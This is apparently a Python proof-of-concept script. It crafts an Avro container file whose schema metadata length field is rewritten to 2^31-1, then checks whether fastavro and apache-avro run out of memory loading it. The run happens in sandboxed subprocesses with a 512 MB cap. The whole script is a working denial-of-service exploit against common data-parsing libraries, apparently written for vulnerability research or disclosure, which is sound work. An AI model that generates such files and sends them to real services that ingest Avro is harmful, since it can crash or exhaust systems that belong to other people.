#!/usr/bin/env python3
import json
import os
import resource
import subprocess
import sys
import tempfile
import time
from pathlib import Path


HUGE_LENGTH = 2**31 - 1


def encode_long(value: int) -> bytes:
    value = (value << 1) ^ (value >> 63)
    out = bytearray()
    while value & ~0x7F:
        out.append((value & 0x7F) | 0x80)
        value >>= 7
    out.append(value & 0x7F)
    return bytes(out)


def read_long(data: bytes, offset: int) -> tuple[int, int]:
    shift = 0
    raw = 0
    while True:
        b = data[offset]
        offset += 1
        raw |= (b & 0x7F) << shift
        if not b & 0x80:
            break
        shift += 7
        if shift > 70:
            raise ValueError("oversized varint")
    value = (raw >> 1) ^ -(raw & 1)
    return value, offset


def read_bytes_span(data: bytes, offset: int) -> tuple[int, int, int, bytes]:
    len_start = offset
    size, offset = read_long(data, offset)
    len_end = offset
    if size < 0:
        raise ValueError(f"negative byte length {size}")
    end = offset + size
    if end > len(data):
        raise ValueError("byte span overflows file")
    return len_start, len_end, end, data[offset:end]


def find_metadata_value_len_span(data: bytes, wanted_key: bytes) -> tuple[int, int]:
    if not data.startswith(b"Obj\x01"):
        raise ValueError("not an Avro object container file")
    offset = 4
    count, offset = read_long(data, offset)
    while count:
        if count < 0:
            count = -count
            _, offset = read_long(data, offset)
        for _ in range(count):
            _, _, key_end, key = read_bytes_span(data, offset)
            offset = key_end
            val_len_start, val_len_end, val_end, _value = read_bytes_span(data, offset)
            if key == wanted_key:
                return val_len_start, val_len_end
            offset = val_end
        count, offset = read_long(data, offset)
    raise KeyError(wanted_key)


def make_control(path: Path) -> None:
    from fastavro import writer

    schema = {
        "type": "record",
        "name": "Tiny",
        "fields": [{"name": "x", "type": "int"}],
    }
    with path.open("wb") as fp:
        writer(fp, schema, [{"x": 1}], codec="deflate")


def mutate_metadata_length(control: Path, malicious: Path) -> None:
    data = control.read_bytes()
    start, end = find_metadata_value_len_span(data, b"avro.schema")
    malicious.write_bytes(data[:start] + encode_long(HUGE_LENGTH) + data[end:])


WORKER = r"""
import sys
path, mode = sys.argv[1], sys.argv[2]
if mode == "fastavro":
    from fastavro import reader
    with open(path, "rb") as fp:
        print(list(reader(fp)))
elif mode == "apache-avro":
    from avro.datafile import DataFileReader
    from avro.io import DatumReader
    with open(path, "rb") as fp:
        rdr = DataFileReader(fp, DatumReader())
        print(list(rdr))
        rdr.close()
else:
    raise SystemExit("bad mode")
"""


def limit_child(memory_mb: int) -> None:
    limit = memory_mb * 1024 * 1024
    resource.setrlimit(resource.RLIMIT_AS, (limit, limit))
    resource.setrlimit(resource.RLIMIT_CORE, (0, 0))


def run_load(path: Path, mode: str, memory_mb: int, timeout: float) -> dict:
    started = time.time()
    try:
        cp = subprocess.run(
            [sys.executable, "-c", WORKER, str(path), mode],
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True,
            timeout=timeout,
            check=False,
            preexec_fn=lambda: limit_child(memory_mb),
        )
        return {
            "path": str(path),
            "mode": mode,
            "returncode": cp.returncode,
            "elapsed": time.time() - started,
            "stdout": cp.stdout[-1000:],
            "stderr": cp.stderr[-3000:],
            "memory_error": "MemoryError" in cp.stderr,
        }
    except subprocess.TimeoutExpired as exc:
        return {
            "path": str(path),
            "mode": mode,
            "returncode": "timeout",
            "elapsed": time.time() - started,
            "stdout": (exc.stdout or "")[-1000:] if isinstance(exc.stdout, str) else "",
            "stderr": (exc.stderr or "")[-3000:] if isinstance(exc.stderr, str) else "",
            "memory_error": False,
        }


def main() -> int:
    with tempfile.TemporaryDirectory() as td:
        td_path = Path(td)
        control = td_path / "control.avro"
        malicious = td_path / "malicious-huge-avro-schema-length.avro"
        make_control(control)
        mutate_metadata_length(control, malicious)

        results = []
        for file_path in [control, malicious]:
            for mode in ["fastavro", "apache-avro"]:
                results.append(run_load(file_path, mode, memory_mb=512, timeout=8.0))

        out = {
            "python": sys.version,
            "cwd": os.getcwd(),
            "huge_declared_length": HUGE_LENGTH,
            "control_size": control.stat().st_size,
            "malicious_size": malicious.stat().st_size,
            "memory_limit_mb": 512,
            "results": results,
            "finding": all(r["returncode"] == 0 for r in results[:2])
            and all(r["memory_error"] for r in results[2:]),
        }
        print(json.dumps(out, indent=2))
        return 0 if out["finding"] else 1


if __name__ == "__main__":
    raise SystemExit(main())